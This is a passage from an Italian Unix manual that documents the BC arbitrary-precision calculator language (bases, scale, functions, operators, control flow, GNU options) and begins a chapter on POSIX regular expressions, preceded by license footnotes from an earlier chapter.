[5] **util-linux: rev** UCB BSD

[6] **Dog** GNU GPL

[7] **GNU core utilities** GNU GPL

[8] **GNU core utilities** GNU GPL

[9] **GNU core utilities** GNU GPL

[10] **column** UCB BSD

[11] **colrm** UCB BSD

[12] Dei file di testo contenenti codici di spostamento di mezza riga, in avanti o indietro, possono essere generati da programmi come Nroff e Tbl (capitolo 28).

[13] **col** UCB BSD

[14] **colcrt** UCB BSD

[15] **ul** UCB BSD

[16] **GNU core utilities** GNU GPL

[17] **GNU core utilities** GNU GPL

[18] **GNU core utilities** GNU GPL

[19] **GNU core utilities** GNU GPL

[20] **GNU core utilities** GNU GPL

[21] **GNU core utilities** GNU GPL

[22] **GNU core utilities** GNU GPL

[23] **GNU core utilities** GNU GPL

[24] **GNU core utilities** GNU GPL

[25] **GNU core utilities** GNU GPL

[26] **GNU core utilities** GNU GPL

[27] **GNU core utilities** GNU GPL

[28] **GNU core utilities** GNU GPL

[29] **GNU core utilities** GNU GPL

[30] Purtroppo non si può ottenere il contrario con '`tr`'.

[31] **GNU core utilities** GNU GPL

[32] **GNU core utilities** GNU GPL

[33] **GNU core utilities** GNU GPL

[34] **GNU core utilities** GNU GPL

[35] **BSD utils** UCB BSD

[36] **hexcat** software libero con licenza speciale

[37] **GNU diffutils** GNU GPL

[38] **GNU Patch** GNU GPL

[39] **GNU core utilities** GNU GPL

[40] **GNU core utilities** GNU GPL

[41] **Elvis < 2.0** software libero

[42] **Elvis ≥ 2.1** software non libero: licenza Artistic

[43] **Vim** software libero con licenza speciale

[44] **nVI** software libero

[45] Le sigle '`~E`', '`~J`', ecc. rappresentano le lettere accentate della codifica utilizzata nei sistemi Dos. Per scrivere un file del genere, occorrono due fasi: una in un ambiente che accetti la codifica Latin 1 e l'altra in Dos.

[46] **GNU Midnight Commander** GNU GPL

[47] Data la funzione particolare che ha il tasto [*Esc*], come sostituto del tasto [*Meta*], si può comprendere il motivo per il quale, spesso, per annullare un'operazione occorre premere due volte il tasto [*Esc*].

[48] Le finestre di dialogo contengono diversi tipi di elementi e la conferma o l'annullamento si ottengono selezionando una voce che riproduce una sorta di tasto virtuale.

[49] **BSD utils** UCB BSD

[50] **BSD games** UCB BSD

[51] **BSD games** UCB BSD

[52] **BSD games** UCB BSD

[53] **BSD games** UCB BSD

[54] **BSD games** UCB BSD

[55] **Fortune** UCB BSD

[56] **BSD games** UCB BSD

[57] **BSD games** UCB BSD

Capitolo 25

BC: linguaggio aritmetico a precisione arbitraria

25.1 Base di numerazione 1370
25.2 Approssimazione 1371
25.3 Linguaggio di programmazione 1371
25.3.1 Variabili semplici e array 1372
25.3.2 Funzioni 1373
25.3.3 Emissione delle informazioni 1374
25.3.4 Espressioni 1375
25.3.5 Funzioni standard 1377
25.3.6 Strutture di controllo di flusso 1378
25.4 Utilizzo di BC 1379
25.5 BC nella realizzazione GNU 1379
25.6 Riferimenti 1380

BC, ovvero *Basic calculator*, è un interprete di un linguaggio aritmetico, che fa parte della tradizione dei sistemi Unix, tanto da essere codificato anche nello standard POSIX. Come linguaggio non ha nulla di speciale, ma la sua facilità di utilizzo in modo interattivo e la sua diffusione, lo rendono molto comodo e utile.

L'utilizzo più conveniente di BC è probabilmente quello a riga di comando, come calcolatrice, tenendo conto che questa sua caratteristica può anche essere sfruttata utilmente all'interno di script di shell. L'esempio seguente mostra un utilizzo interattivo, per comprendere di cosa si tratta, almeno a prima vista:

$ **bc** [*Invio*]

255*63*3737*512 [*Invio*]

```
30737871360
```

[*Ctrl d*]

Quello che si vede nell'esempio è la moltiplicazione di tre numeri: 255, 63, 3737 e 512. Il risultato è ciò che si vede alla fine: 30737871360. La stessa cosa si potrebbe inserire in uno script di shell nel modo seguente, in cui il risultato della moltiplicazione viene assegnato alla variabile ***RISULTATO***:

```
...
RISULTATO=`echo "255*63*3737*512" | bc`
...
```

Tuttavia, BC è in realtà un linguaggio di programmazione, benché semplice, la cui caratteristica fondamentale è quella di poter definire l'approssimazione del risultato, indipendentemente dall'architettura dell'elaboratore per il quale è stato compilato.

25.1 Base di numerazione

Una caratteristica importante di BC è la possibilità di gestire basi di numerazione diverse da 10. Tuttavia, ciò può creare degli imprevisti inattesi, per cui occorre fare attenzione quando si tenta di modificare la convenzione normale.

La base di numerazione viene modificata intervenendo attraverso due variabili predefinite che fanno parte del linguaggio, denominate ***ibase*** e ***obase***. La prima contiene la base di numerazione per i numeri che vengono inseriti, mentre la seconda contiene la base usata per la rappresentazione dei risultati. In condizioni normali, sia ***ibase***, sia ***obase***, contengono il valore 10. Tuttavia, quando si cambia il valore di ***ibase*** si possono creare delle complicazioni; supponendo di voler inserire valori in base otto, basta agire come segue:

`ibase=8` [*Invio*]

Nel momento in cui si scrive un valore, questo viene interpretato in base otto:

`777` [*Invio*]

```
511
```

Infatti, 777_8 equivale a 511.

Quando però si vuole intervenire nuovamente sulla variabile ***ibase***, occorre ricordare che per il momento la base di numerazione è otto. Pertanto, volendo tornare alla base 10, bisogna trasformare prima il valore in ottale: 12_8.

`ibase=12` [*Invio*]

`777` [*Invio*]

```
777
```

Diversamente, scrivendo nuovamente '**`ibase=10`**' non si cambierebbe la base di numerazione, perché quel numero andrebbe inteso in ottale.

Esiste anche una convenzione, per cui i valori numerici espressi con una sola cifra, vanno intesi correttamente, in modo indipendente dal valore della variabile ***ibase***. Pertanto, '**`9`**' vale sempre come se fosse scritto in base dieci, dal momento che non ci possono essere ambiguità anche se la base di numerazione fosse più grande.

Le cifre che possono essere usate per comporre un numero sono i simboli da '**`0`**' a '**`9`**', con le lettere maiuscole da '**`A`**' a '**`F`**'. In questo modo si possono rappresentare agevolmente numeri con basi di numerazione che vadano da 2 a 16, mentre per basi di numerazione superiori le cose si complicano. In pratica, si possono rappresentare basi superiori scrivendo il risultato a cifre separate, dove ogni cifra è espressa come un numero in base dieci. Per esempio, la stringa «100», esprimente un numero in base venti, verrebbe rappresentata come '**`01 00 00`**'.[1] L'esempio seguente mostra in che modo arrivare a questo risultato, tenendo in considerazione il fatto che la variabile ***ibase*** contenga inizialmente il valore 10.

obase=20 [*Invio*]

400 [*Invio*]

```
01 00 00
```

In base al principio per il quale una cifra numerica singola viene interpretata in modo non ambiguo, indipendentemente dalla base di numerazione stabilita in ingresso con la variabile ***ibase***, si può tornare facilmente a un inserimento di valori in base 10, sfruttando la cifra '**A**', il cui valore è sempre pari a 10:

ibase=A [*Invio*]

25.2 Approssimazione

La variabile ***scale*** definisce la quantità di cifre decimali da prendere in considerazione, quando il contesto non esprime già questo valore. In altri termini, una moltiplicazione definisce già la quantità di cifre decimali da considerare:

10*2.45 [*Invio*]

```
24.50
```

Al contrario, nel caso della divisione è necessario stabilire subito la quantità di decimali da considerare:

scale=4 [*Invio*]

10/3 [*Invio*]

```
3.3333
```

Generalmente, all'avvio dell'interprete, il valore della variabile ***scale*** è pari a zero, avendo così un'approssimazione predefinita alla parte intera.

25.3 Linguaggio di programmazione

Il linguaggio di BC ha una vaga somiglianza con il C. In generale, le righe vuote e quelle bianche vengono ignorate, così come il testo circoscritto tra '**/***' e '***/**' (proprio come nel C).

> Alcune realizzazioni di BC prevedono anche l'uso del simbolo '**#**' come commento, allo scopo di poter realizzare facilmente degli script, iniziando con '**#!/usr/bin/bc**', ma si tratta di un'estensione che non fa parte dello standard POSIX.

Le istruzioni del linguaggio BC terminano normalmente alla fine della riga, ma è possibile usare anche il punto e virgola ('**;**') se si preferisce, oppure se si vogliono indicare più istruzioni assieme sulla stessa riga. La continuazione di un'istruzione in una riga successiva si ottiene mettendo una barra obliqua inversa ('****') alla fine, esattamente prima del codice di interruzione di riga.

istruzione [;]

istruzione \
continuazione_istruzione

Si possono definire dei raggruppamenti di istruzioni, racchiudendoli tra parentesi graffe (‘{ }’). Anche in questo caso le istruzioni possono essere separate attraverso interruzioni di riga, oppure con il punto e virgola.

{ *istruzione*
istruzione
istruzione }

{ *istruzione* ; *istruzione* ; *istruzione* }

Il linguaggio consente la dichiarazione di variabili e di funzioni, che possono avere un nome composto esclusivamente da una lettera minuscola. Alcune realizzazioni di BC consentono l’uso di nomi più articolati, ma si tratta di estensioni non compatibili con le specifiche POSIX.

Il linguaggio BC non prevede una funzione principale, come avviene invece in C. Infatti, si tratta di un linguaggio interpretato dove tutto viene eseguito appena possibile; anche le funzioni esistono appena dichiarate e possono essere sostituite da una dichiarazione successiva che utilizza lo stesso nome

Esistono solo due tipi di dati: le stringhe delimitate e i valori numerici (con la quantità stabilita di cifre dopo la virgola), dove la separazione tra parte intera e parte decimale si indica esclusivamente con un punto (‘.’). Tuttavia, alle variabili si possono assegnare solo numeri, così come le funzioni possono restituire solo valori numerici.

25.3.1 Variabili semplici e array

La dichiarazione di una variabile avviene in modo molto semplice, con l’assegnamento di un valore numerico, come nell’esempio seguente:

```
x=123.456
```

Nello stesso modo si possono dichiarare degli array a una sola dimensione, indicando un indice tra parentesi quadre, come nell’esempio seguente, dove in particolare l’indice è espresso da un’espressione:

```
x[1+2]=234.567
```

Gli array non devono essere dimensionati e possono usare la quantità massima di elementi disponibili in base alla realizzazione di BC. Il primo elemento si raggiunge con l’indice zero e

gli elementi successivi sono numeri interi positivi. Se si fa riferimento a un elemento dell'array che non è ancora stato assegnato, si ottiene il valore zero.

Per fare riferimento a un array nel suo complesso, si indica il nome, seguito dalle parentesi quadre, aperte e chiuse, senza contenere alcun indice: '*x*`[]`'.

25.3.2 Funzioni

La dichiarazione di una funzione ha una forma precisa, dove in questo caso *x* rappresenta il nome della stessa:

```
define x ([parametro[, parametro]]...) {
        [auto variabile_automatica[, variabile_automatica]...]
        [istruzione]
        ...
        ...
        [return [(varlore_restituito)]]
}
```

Si osservi in particolare l'uso delle parentesi graffe per delimitare il corpo della funzione: è indispensabile che la parentesi graffa aperta si trovi sulla stessa riga iniziale della dichiarazione della funzione, con i parametri relativi.

I parametri della funzione possono essere nomi di variabili normali, oppure nomi di array senza un indice tra le parentesi quadre.

I parametri che appaiono tra parentesi tonde, equivalgono alla dichiarazione implicita di variabili locali, definite di tipo ***automatico***, contenenti il valore trasmesso al momento della chiamata.

Oltre alle variabili che compongono l'elenco dei parametri della funzione, si possono dichiarare altre variabili automatiche nel modo seguente, nella riga immediatamente successiva alla parentesi graffa aperta:

```
[auto variabile_automatica[, variabile_automatica]...]
```

Si può usare una sola istruzione '**`auto`**', nella quale vanno elencate tutte le variabili automatiche, compresi gli array, nella forma '*x*`[]`'.

Una funzione restituisce sempre un valore numerico, anche se non viene utilizzata esplicitamente l'istruzione '**`return`**'; in tal caso, si tratta sempre di zero.

Se il valore restituito dalla funzione non viene usato nella chiamata per un assegnamento, questo viene visualizzato, anche se ciò non fosse desiderabile. Per evitare questo inconveniente, è possibile assegnare a una variabile fittizia il valore restituito dalla funzione.

Anche se è possibile fornire un array come parametro in una chiamata di funzione, l'istruzione '**`return`**' non può restituire un array.

La chiamata di una funzione avviene nel modo seguente; anche in questo caso ***x*** rappresenta il nome della funzione chiamata:

x ([***parametro*** [, ***parametro***]]...)

I parametri possono essere variabili oppure valori costanti. Nel primo caso, se la funziona cambia il contenuto delle variabili corrispondenti, tali modifiche non si ripercuotono nelle variabili usate nella chiamata.

Le funzioni possono anche non avere parametri; in quei casi si indicano le parentesi tonde senza alcun contenuto, sia nella dichiarazione, sia nella chiamata.

L'esempio seguente, molto semplice, mostra la dichiarazione di una funzione che esegue la moltiplicazione:

```
define m (x, y) {
    auto z
    z=x*y
    return (z)
}
```

Se questa funzione venisse salvata nel file '`moltiplica`', si potrebbe usare BC nel modo seguente:

`$` **`bc moltiplica`** [*Invio*]

`m (7, 2)` [*Invio*]

```
14
```

[*Ctrl d*]

La parola chiave '**`return`**', può essere usata senza l'indicazione del valore da restituire e quindi senza le parentesi tonde. In tal caso viene restituito il valore zero.

25.3.3 Emissione delle informazioni

BC prevede poche funzioni predefinite (interne), ma non mette a disposizione una funzione per l'emissione di stringhe. Se necessario, una costante stringa viene visualizzata semplicemente indicandola come un'istruzione, con un piccolo accorgimento.

Un'espressione che si traduce in un numero, porta alla visualizzazione del risultato, seguito da un codice di interruzione di riga; pertanto, l'esempio seguente genera il risultato 15783552: il valore viene visualizzato e il cursore si trova poi collocato sulla riga successiva:

`4567*3456` [*Invio*]

```
15783552
_
```

Al contrario, la visualizzazione di una stringa non fa avanzare alla riga successiva, permettendo l'aggiunta di altre stringhe e di un solo valore numerico finale.

"ciao " ; "amore " ; "bello!" [*Invio*]

Infatti, l'esempio si traduce nel testo seguente, con il cursore alla destra del punto esclamativo:

```
ciao amore bello!_
```

Aggiungendo un numero, la visualizzazione sulla riga termina:

"Anni: " ; 35 [*Invio*]

```
Anni: 35
_
```

Il risultato delle espressioni viene visualizzato se questo non viene catturato da un assegnamento a una variabile. Pertanto, l'esempio seguente visualizza il risultato:

7*5 [*Invio*]

```
35
```

Invece, l'esempio successivo non visualizza alcunché:

a=7*5 [*Invio*]

Tuttavia, è possibile mostrare il risultato di un'espressione il cui risultato viene assegnato a una variabile, racchiudendola all'interno di parentesi tonde, come nell'esempio seguente:

(a=7*5) [*Invio*]

```
35
```

25.3.4 Espressioni

Gli operatori che intervengono su valori numerici sono elencati nella tabella 25.17. Esiste tuttavia un chiarimento da fare sull'espressione '***op1*%*op2***', che non si comporta secondo lo standard comune. Infatti, solo quando ***scale*** contiene il valore zero, il risultato è il resto della divisione intera; diversamente, si ottiene il resto della divisione, tolto il risultato ottenuto in base alla quantità di cifre decimali stabilito dalla variabile ***scale***. Per esempio, se ***scale*** contiene il valore cinque, 10%3 genera il risultato 0,00001. Infatti, potendo gestire cinque cifre decimali, 10%3 dà il risultato 3,33333, per cui, il resto della divisione rimane solo 0,00001: 3,33333*3+0,00001=10.

Tabella 25.17. Elenco degli operatori aritmetici e di quelli di assegnamento relativi a valori numerici.

Operatore e operandi	Descrizione
++***op***	Incrementa di un'unità l'operando prima che venga restituito il suo valore.
op++	Incrementa di un'unità l'operando dopo averne restituito il suo valore.
--***op***	Decrementa di un'unità l'operando prima che venga restituito il suo valore.

Operatore e operandi	Descrizione
op--	Decrementa di un'unità l'operando dopo averne restituito il suo valore.
+*op*	Non ha alcun effetto.
-*op*	Inverte il segno dell'operando.
op1 + *op2*	Somma i due operandi.
op1 - *op2*	Sottrae dal primo il secondo operando.
op1 * *op2*	Moltiplica i due operandi.
op1 / *op2*	Divide il primo operando per il secondo.
op1 % *op2*	Modulo: il resto della divisione tra il primo e il secondo operando.
op1 ^ *op2*	Esponente: il primo operando elevato alla potenza del secondo.
x = *valore*	Assegna alla variabile il valore alla destra.
(*espressione*)	Le parentesi tonde richiedono la precedenza nella valutazione dell'espressione.
op1 += *op2*	*op1* = *op1* + *op2*
op1 -= *op2*	*op1* = *op1* - *op2*
op1 *= *op2*	*op1* = *op1* * *op2*
op1 /= *op2*	*op1* = *op1* / *op2*
op1 %= *op2*	*op1* = *op1* % *op2*

Alcune realizzazioni tradizionali di BC, non più standard secondo POSIX, consentono l'uso di operatori simili al tipo '***op*=**', descritti nella tabella, ma invertiti nell'ordine: '**=*op***'. Ciò crea un problema nella valutazione di alcuni tipi di espressione; per esempio, '**a=-1**' può significare l'assegnamento del valore -1 alla variabile ***a***, oppure l'assegnamento di '**a-1**'. Per evitare ambiguità in queste condizioni, conviene usare le parentesi: '**a=(-1)**'.

Tabella 25.18. Elenco degli operatori di assegnamento superati che qualche realizzazione di BC potrebbe usare ancora.

Operatore e operandi	Equivalenza
op1 =+ *op2*	*op1* = *op1* + *op2*
op1 =- *op2*	*op1* = *op1* - *op2*
op1 =* *op2*	*op1* = *op1* * *op2*

Operatore e operandi	Equivalenza
op1 `=/` ***op2***	***op1*** `=` ***op1*** `/` ***op2***
op1 `=%` ***op2***	***op1*** `=` ***op1*** `%` ***op2***

Gli operatori di confronto determinano la relazione tra due operandi e possono essere utilizzati esclusivamente in alcuni contesti precisi. Vengono elencati gli operatori disponibili nella tabella 25.19.

Tabella 25.19. Elenco degli operatori di confronto. Le metavariabili indicate rappresentano gli operandi e la loro posizione.

Operatore e operandi	Descrizione
op1 `==` ***op2***	*Vero* se gli operandi si equivalgono.
op1 `!=` ***op2***	*Vero* se gli operandi sono differenti.
op1 `<` ***op2***	*Vero* se il primo operando è minore del secondo.
op1 `>` ***op2***	*Vero* se il primo operando è maggiore del secondo.
op1 `<=` ***op2***	*Vero* se il primo operando è minore o uguale al secondo.
op1 `>=` ***op2***	*Vero* se il primo operando è maggiore o uguale al secondo.

Lo standard POSIX stabilisce che queste espressioni possono apparire solo come condizione delle istruzioni '**`if`**', '**`while`**' e '**`for`**'; inoltre, è esclusa la possibilità di comporre espressioni più complesse con l'uso di operatori booleani.

25.3.5 Funzioni standard

BC predispone poche funzioni standard, che si distinguono in particolare per la lunghezza del loro nome. Queste sono riepilogate in breve nella tabella 25.20.

Tabella 25.20. Funzioni interne.

Funzione	Valore restituito
`length (` ***espressione*** `)`	Quantità di cifre significative dell'espressione.
`scale (` ***espressione*** `)`	Quantità di cifre decimali dell'espressione.
`sqrt (` ***espressione*** `)`	Radice quadrata dell'espressione.

Per quanto riguarda il caso particolare di ***scale()***, si fa riferimento al numero di decimali che genera l'espressione, in base al contesto. Per esempio, se il valore della variabile ***scale*** è zero, qualunque divisione dà soltanto un risultato intero, per cui ***scale()*** restituisce sempre solo zero.

Oltre a queste funzioni, è possibile chiedere a BC di mettere a disposizione alcune funzioni da una libreria standard. Si tratta di quelle elencate nella tabella 25.21.

Tabella 25.21. Funzioni della libreria standard.

Funzione	Valore restituito
`s(`***x***`)`	Seno.
`c(`***x***`)`	Coseno.
`a(`***x***`)`	Arcotangente.
`l(`***x***`)`	Logaritmo naturale.
`e(`***x***`)`	Funzione esponenziale: *e* elevato alla ***x***.
`j(`***n***`,`***x***`)`	Funzione di Bessel.

25.3.6 Strutture di controllo di flusso

«

Il linguaggio BC gestisce le strutture di controllo di flusso principali, anche se con qualche limitazione. È disponibile una struttura condizionale semplificata (senza l'analisi di un'alternativa), il ciclo iterativo e il ciclo enumerativo:

```
if (condizione) istruzione
```

```
while (condizione) istruzione
```

```
for (espressione1; espressione2; espressione3) istruzione
```

Come nel linguaggio C, dal momento che si possono raggruppare le istruzioni in blocchi racchiusi tra parentesi graffe, in pratica si utilizzano queste strutture nel modo seguente:

```
if (condizione) {
    istruzione
    ...
}
```

```
while (condizione) {
    istruzione
    ...
}
```

```
for (espressione1; espressione2; espressione3) {
    istruzione
    ...
}
```

Naturalmente, le tre espressioni tra parentesi del ciclo enumerativo vanno intese nel modo comune. Per esempio, ciò che appare di seguito serve a mostrare 10 «x», attraverso il conteggio di una variabile.

```
for (i = 0; i < 10; i++) {
    "x"
}
```

Nell'ambito dei cicli, è possibile usare l'istruzione '**break**' per interrompere il ciclo con un'uscita forzata.

25.4 Utilizzo di BC

L'interprete del linguaggio BC è l'eseguibile '**bc**', che si utilizza secondo la sintassi seguente:

```
bc [-l] [file_bc]...
```

L'interprete legge ed esegue tutti i file indicati come argomento della riga di comando; alla fine, legge lo standard input. L'interprete termina di funzionare quando il flusso dello standard input termina, oppure quando incontra l'istruzione '**quit**'.

In questo modo, un programma che si deve concludere deve contenere l'istruzione '**quit**', oppure deve essere fornito attraverso lo standard input.

L'opzione '**-l**' serve a ottenere da BC la disponibilità delle funzioni di libreria standard, elencate nella tabella 25.21; inoltre, la variabile ***scale*** viene impostata al valore 20, mentre in condizioni normali il suo valore predefinito è zero.

Lo standard POSIX non prevede l'uso del simbolo '**#**' come commento, per cui non è possibile realizzare degli script se non sfruttando delle estensioni di realizzazioni speciali. In pratica, ci possono essere realizzazioni di BC che consentono di scrivere programmi che iniziano in modo simile a quello seguente, eventualmente con l'aggiunta dell'opzione '**-l**', a cui poi si aggiungono i permessi di esecuzione, ma ciò non è possibile se si vogliono scrivere programmi standard (portabili).

```
#!/usr/bin/bc
```

25.5 BC nella realizzazione GNU

La realizzazione GNU di BC[2] consente l'uso di diverse estensioni rispetto allo standard POSIX; in particolare completa la struttura di controllo condizionale con l'alternativa '**`else`**', aggiunge l'istruzione '**`print`**' per una gestione migliore della visualizzazione di informazioni e consente l'uso di operatori booleani nelle espressioni logiche, che possono essere usate anche al di fuori del contesto restrittivo stabilito da POSIX. Tuttavia è possibile richiedere un funzionamento strettamente aderente allo standard POSIX, utilizzando l'opzione '**`-s`**', oppure creando la variabile di ambiente ***POSIXLY_CORRECT***.

L'eseguibile '**`bc`**' consente l'uso di più opzioni della riga di comando, alcune delle quali vengono descritte brevemente nel seguito.

Opzione	Descrizione
`-l` `--mathlib`	Richiede l'uso delle librerie matematiche standard, impostando la variabile ***scale*** al valore 20.
`-w` `--warn`	Segnala l'uso di estensioni allo standard POSIX.
`-s` `--standard`	Restringe il funzionamento allo standard POSIX.

25.6 Riferimenti

- *IEEE P1003.2 Draft 11.2*, September 1991, *bc - Arbitrary-precision arithmetic language*
  ⟨*http://www.nic.funet.fi/pub/doc/posix/p1003.2/d11.2/4.3* ⟩

[1] uno, zero, zero in base venti, corrisponde a 400.

[2] **GNU BC** GNU GPL

Capitolo 26

Ricerca, scansione ed elaborazione di file

26.1 Espressioni regolari standard 1381

26.1.1 RE: BRE e ERE 1382
26.1.2 Problemi di localizzazione 1382
26.1.3 Composizione di un'espressione regolare e corrispondenza 1383
26.1.4 Espressioni tra parentesi quadre 1387
26.1.5 Precedenze 1389

26.2 Confronto sintetico tra le espressioni regolari «reali» 1390

26.3 Grep 1392

26.3.1 Grep e Gzip integrati 1394

26.4 Find 1394

26.5 SED 1401

26.5.1 Avvio dell'eseguibile 1401
26.5.2 Logica di funzionamento 1402
26.5.3 Script e direttive multiple 1403
26.5.4 Direttive 1404
26.5.5 Esempi 1407

26.6 Introduzione a AWK 1409

26.6.1 Principio di funzionamento e struttura fondamentale 1409
26.6.2 Avvio dell'interprete 1414
26.6.3 Espressioni 1415
26.6.4 Istruzioni 1421
26.6.5 Variabili predefinite 1429
26.6.6 Esempi 1430
26.6.7 Dichiarazione di funzioni 1431
26.6.8 Array 1433

26.7 Introduzione a M4 1437

26.7.1 Principio di funzionamento 1437
26.7.2 Convenzioni generali 1438
26.7.3 Istruzioni condizionali, iterazioni e ricorsioni 1444
26.7.4 Altre macro-istruzioni interne degne di nota 1446

26.8 Riferimenti 1450

`awk` 1409 `changecom` 1447 `define` 1442 `divert` 1448 `dnl` 1447 `egrep` 1392 `fgrep` 1392 `find` 1394 `forloop` 1446 `ifdef` 1445 `ifelse` 1445 `include` 1448 `sed` 1401 `shift` 1446 `sinclude` 1448 `undefine` 1444 `undivert` 1448 `zegrep` 1394 `zfgrep` 1394 `zgrep` 1394

26.1 Espressioni regolari standard

L'espressione regolare è un modo per definire la ricerca di stringhe attraverso un modello di comparazione. Viene usato da diversi programmi di servizio, ma non tutti aderiscono alle stesse regole. Per studiare la grammatica delle espressioni regolari, occorre abbandonare qualunque resistenza, tenendo presente che l'interpretazione di queste espressioni va fatta da sinistra a destra; inoltre, ogni simbolo può avere un significato differente in base al contesto in cui si trova.

Raramente si può affermare che un'espressione regolare sia «errata»; nella maggior parte dei casi in cui si commettono degli errori, si ottiene comunque qualcosa che può avere un significato (indipendentemente dal fatto che questa possa avere o meno una corrispondenza). È ancora più difficile che una realizzazione in cui si utilizzano le espressioni regolari sia in grado di segnalare un errore grammaticale nella loro scrittura.

26.1.1 RE: BRE e ERE

Un'espressione regolare, come definita nello standard POSIX, può essere espressa attraverso due tipi di grammatiche differenti: le espressioni regolari di base, o elementari, identificate dall'acronimo BRE (*Basic regular expression*), mentre le espressioni regolari estese, identificate dall'acronimo ERE (*Extended regular expression*). Per fare riferimento a espressioni regolari non meglio definite, si usa anche soltanto l'acronimo RE.

26.1.2 Problemi di localizzazione

L'espressione regolare, essendo un mezzo per identificare una porzione di testo, risente di problemi legati alle definizioni locali degli insiemi di caratteri.

Per prima cosa occorre considerare che gli alfabeti nazionali sono differenti da un linguaggio all'altro. Dal punto di vista della localizzazione, gli elementi che compongono gli alfabeti sono degli ***elementi di collazione*** (*collating element*). Questi elementi compongono un insieme ordinato, definito ***sequenza di collazione*** (*collating sequence*), che permette di stabilire l'ordine alfabetico delle parole. In situazioni particolari, alcuni elementi di collazione sono rappresentati da più di un carattere, cosa che può dipendere da motivazioni differenti. Per fare un esempio comune, ciò può essere causato dalla mancanza del carattere adatto a rappresentare un certo elemento, come succede nella lingua tedesca quando si utilizza un insieme di caratteri che non dispone delle vocali con la dieresi, oppure manca la possibilità di indicare la lettera «ß»:

```
ß        --> ss
ä        --> ae
ö        --> oe
ü        --> ue
```

Nella lingua tedesca, nel momento in cui si utilizzano le stringhe «ae», «oe», «ue» e «ss», in sostituzione delle lettere che invece avrebbero dovuto essere utilizzate, queste stringhe vanno considerate come la rappresentazione di tali lettere, costituendo così un elemento di collazione unico. Per esempio, in tedesco la parola «schal» viene prima di «schälen», anche se la seconda fosse scritta come «schaelen».

Ai fini della definizione di un'espressione regolare, questo fatto si traduce nella possibilità di fare riferimento a degli elementi di collazione attraverso la stringa corrispondente, nel momento in cui non è possibile, o non conviene usare il carattere che lo rappresenta simbolicamente in base a una codifica determinata. Tuttavia, il testo su cui si esegue la ricerca attraverso un'espressione regolare, viene interpretato a livello di carattere, per cui non è possibile identificare un elemento di collazione in una sottostringa composta da più caratteri. In pratica, un'espressione regolare non riuscirebbe a riconoscere la lettera «ä» nella parola «schaelen».

Alcuni elementi di collazione possono essere classificati come equivalenti. Per esempio, nella lingua italiana le lettere «e», con o senza accento, rappresentano questo tipo di equivalenza. Gli elementi di collazione «equivalenti» costituiscono una ***classe di equivalenza***.

Infine, i caratteri (e non più gli elementi di collazione) possono essere classificati in base a diversi altri tipi di sottoinsiemi, a cui si fa riferimento attraverso dei nomi standard. In generale si tratta di distinguere tra: lettere maiuscole, lettere minuscole, cifre numeriche, cifre alfanumeriche, ecc.

26.1.3 Composizione di un'espressione regolare e corrispondenza

Un'espressione regolare è una stringa di caratteri, i quali, nel caso più semplice, rappresentano esattamente la corrispondenza con la stessa stringa. All'interno di un'espressione regolare possono essere inseriti dei caratteri speciali, per rappresentare delle corrispondenze in situazioni più complesse. Per fare riferimento a tali caratteri in modo letterale, occorre utilizzare delle tecniche di protezione che variano a seconda del contesto.

I caratteri speciali sono tali solo nel contesto per il quale sono stati previsti. Al di fuori di quel contesto possono essere caratteri normali, o caratteri speciali con un significato differente.

La corrispondenza tra un'espressione regolare e una stringa, quando avviene, serve a delimitare una sottostringa che può andare dalla dimensione nulla fino al massimo della stringa di partenza. È importante chiarire che anche la corrispondenza che delimita una stringa nulla può avere significato, in quanto identifica una posizione precisa nella stringa di partenza. In generale, se sono possibili delle corrispondenze differenti, viene presa in considerazione quella che inizia il più a sinistra possibile e si estende il più a destra possibile.

26.1.3.1 Ancoraggio iniziale e finale

In condizioni normali, un'espressione regolare può individuare una sottostringa collocata in qualunque posizione della stringa di partenza. Per indicare espressamente che la corrispondenza deve partire obbligatoriamente dall'inizio della stringa, oppure che deve terminare esattamente alla fine della stringa stessa, si usano due ancore, rappresentate dai caratteri speciali '`^`' e '`$`', ovvero dall'accento circonflesso e dal dollaro.

Per la precisione, un accento circonflesso che si trovi **all'inizio** di un'espressione regolare identifica la sottostringa nulla che si trova idealmente all'inizio della stringa da analizzare; nello stesso modo, un dollaro che si trovi **alla fine** di un'espressione regolare identifica la sottostringa nulla che si trova idealmente alla fine della stringa stessa. Nel caso particolare delle espressioni regolari BRE, i caratteri '`^`' e '`$`' hanno questo significato anche nell'ambito di una sottoespressione, all'inizio o alla fine della stessa. Una sottoespressione è una porzione di espressione regolare delimitata nel modo che viene mostrato in seguito.

Per fare un esempio, l'espressione regolare '`^ini`' corrisponde alla sottostringa «ini» della stringa «inizio». Nello stesso modo, l'espressione regolare '`ini$`' corrisponde alla sottostringa «ini» della stringa «scalini».

Un'espressione regolare può contenere entrambe le ancore di inizio e fine stringa. In tal caso si cerca la corrispondenza con tutta la stringa di partenza.

26.1.3.2 Delimitazione di una o più sottoespressioni

Una sottoespressione è una porzione di espressione regolare individuata attraverso dei delimitatori opportuni. Per la precisione, si tratta di parentesi tonde normali nel caso di espressioni regolari ERE (estese), oppure dei simboli '`\(`' e '`\)`' nel caso di espressioni regolari BRE.

La delimitazione di sottoespressioni può servire per regolare la precedenza nell'interpretazione delle varie parti dell'espressione regolare, oppure per altri scopi che dipendono dal programma in cui vengono utilizzate. In generale, dovrebbe essere ammissibile la definizione di sottoespressioni annidate.

Per fare un esempio, l'espressione regolare BRE '`\(anto\)logia`' corrisponde a una qualunque sottostringa '`antologia`'. Nello stesso modo funziona l'espressione regolare ERE '`(anto)logia`'.

26.1.3.3 Riferimento a una sottoespressione precedente (solo BRE)

Nelle espressioni regolari di tipo BRE è possibile utilizzare la forma '`\`***n***', dove ***n*** è una cifra numerica da uno a nove, per indicare la corrispondenza con l'***n***-esima sottoespressione precedente. Per esempio, l'espressione regolare '`\(sia\) questo \1`' corrisponde alla sottostringa '`sia questo sia`' di un testo che può essere anche più lungo.

È importante osservare che la corrispondenza della forma '`\`***n***' rappresenta ciò che è stato trovato effettivamente attraverso la sottoespressione, mentre se si volesse semplicemente ripetere lo stesso modello, basterebbe riscriverlo tale e quale.

26.1.3.4 Sottoespressioni alternative (solo ERE)

Esclusivamente nelle espressioni regolari ERE (estese), è possibile indicare la corrispondenza alternativa tra due modelli utilizzando il carattere speciale '`|`' (la barra verticale). Di solito si utilizza questa possibilità delimitando espressamente le sottoespressioni alternative, in modo da evitare ambiguità, tuttavia questo non dovrebbe essere necessario, dal momento che si tratta di un operatore con un livello molto basso di precedenza.

Per esempio, l'espressione regolare '`((auto)|(dog))matico`' può corrispondere indifferentemente alla sottostringa '`automatico`' oppure '`dogmatico`'.

